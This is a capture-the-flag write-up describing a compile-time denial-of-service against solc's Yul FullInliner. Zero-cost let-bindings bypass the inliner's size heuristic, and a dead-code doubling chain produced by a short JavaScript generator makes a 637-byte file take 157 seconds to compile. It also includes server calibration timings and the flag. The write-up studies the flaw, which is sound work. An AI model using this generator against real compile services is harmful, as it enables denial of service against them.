Reverse Grand Prix

Zero-cost AST nodes defeat solc's inliner size heuristic, compressing a 157-second compile bomb into 637 bytes.

2026.09.06 NNS CTF 2026 195 pts Blockchain
FLAG NNS{th3_in1ineR_c0p1es_WHat_th3_pRun3R_Wou1D_H4ve_Del3ted}

Challenge

The web app takes an uploaded solve.yul and races it through two solc configurations, timing each compile:

# control   - zero optimiser steps
solc --strict-assembly --optimize --yul-optimizations ':'  --bin solve.yul
# optimized - exactly one optimiser step (FullInliner)
solc --strict-assembly --optimize --yul-optimizations 'i:' --bin solve.yul

To qualify you must satisfy both conditions at once:

  1. the bytecode must be byte-identical across the two lanes (outputs_equivalent: true), and
  2. optimized_time - control_time > 60 seconds, the optimised lane has to lose the race by more than a minute.

In --yul-optimizations 'i:', i is FullInliner, a single optimiser step. ':' is an empty step sequence, so despite --optimize nothing actually runs beyond parsing and codegen, that lane is always fast.

So the task reduces to: write a Yul program that makes FullInliner alone burn more than 60 seconds, while leaving the emitted bytecode untouched.

Vulnerability

I read the optimiser sources in libyul/optimiser/ looking for an algorithmic complexity bomb rather than a memory-safety bug.

1. Size-zero functions bypass the size limit

FullInliner::shallInline() decides whether to inline by looking at a function “size” computed by CodeSize:

// FullInliner.cpp - shallInline()
size_t size = m_functionSizes.at(calledFunction->name);
if (size <= 1)
    return true;              // "very, very small" functions always inline
if (m_pass == Pass::InlineTiny)
    return false;
...

That size is scored by CodeWeights in Metrics.h, and several node kinds cost zero:

// Metrics.h - CodeWeights
size_t variableDeclarationCost = 0;   // let bindings
size_t assignmentCost          = 0;
size_t blockCost               = 0;   // { }
size_t identifierCost          = 0;
size_t literalZeroCost         = 0;   // the literal 0

So a statement like let a0 := 0 exists as a real AST node but scores size 0. Stack enough of them and the function still measures size <= 1, which means the 6/8/12/16 size thresholds are bypassed entirely and the function is inlined unconditionally, no matter how much AST it actually carries.

2. Exponential doubling chain

With the size limit gone, build a chain where each function calls the one below it twice:

function f0()  { let a0 := 0 }          // size 0, but the node is real
function f1()  { f0()  f0()  }
function f2()  { f1()  f1()  }
...
function f20() { f19() f19() }

The inliner has to materialise 2^D copies of the leaf body. The source grows linearly in D while the work grows exponentially, a 637-byte file that costs 157 seconds to inline.

3. Keeping the bytecode identical

The second qualification condition is the interesting half. If the bomb chain is dead code, declared but never called from the program body, the inliner still walks and copies all of it, but none of it reaches codegen. The emitted bytecode is whatever the real body compiles to, identical in both lanes.

The actual program body is a single sstore(0, 1).

Generator (gen4.js):

const fs = require('fs');
const D = parseInt(process.argv[2] || '20');   // doubling depth
const K = parseInt(process.argv[3] || '1');    // let-bindings in the leaf body
let body = ''; for (let i = 0; i < K; i++) body += 'let a' + i + ' := 0\n';
let s = `function f0() { ${body} }\n`;
for (let i = 1; i <= D; i++) s += `function f${i}() { f${i-1}() f${i-1}() }\n`;
const call = 'sstore(0,1)';                    // the bomb chain is never called
fs.writeFileSync('zero.yul', `{\n${call}\n${s}}`);

Calibrating against the server

The submission API is:

  • POST /race/start takes multipart/form-data, field file{"job_id": ...} (202)
  • GET /race/status/<job_id>?cursor=<n> is polled; the result event carries each lane’s time_ms, outputs_equivalent, qualification and flag.

One thing worth recording: my local solc.exe (Windows/MSVC) was roughly 30x slower than the server’s Linux build on this workload, at D=14, K=2 it took 95 s locally versus 3 s server-side. Tuning D against local timings would have produced a payload that qualified on my machine and failed on theirs, so I swept D directly against the server instead:

Dsource bytescontroloptimizeddiffresult
1651323 ms6,207 ms6.2 sfailed
1857521 ms31,705 ms31.7 sfailed
2063724 ms157,490 ms157.5 spassed

Each level multiplies server-side time by roughly 5x, so D=20 clears the 60 s threshold with a comfortable margin.

D=20 K=1 bytes=637 ctrl=24ms opt=157490ms diff=157466ms equiv=True qual=passed
flag=NNS{th3_in1ineR_c0p1es_WHat_th3_pRun3R_Wou1D_H4ve_Del3ted}

Sources read

FullInliner.cpp/.h, Metrics.cpp/.h, NameCollector.cpp/.h, CallGraphGenerator.cpp/.h, Semantics.h (LeaveFinder), ASTCopier.cpp, SSAValueTracker.cpp, CommonData.h (iterateReplacing).

Takeaways

  1. Zero-cost nodes lie to size heuristics. let x := 0, empty blocks and bare identifiers are free under CodeWeights but are still real AST the optimiser must copy.
  2. Bypassing size <= 1 plus a doubling chain gives linear source and exponential work, enough to fit a 60-second bomb inside a 16 KB upload.
  3. Leaving the bomb as dead code buys bytecode equivalence for free: the inliner spends its time copying, and the output never changes.
#solc#yul#algorithmic-dos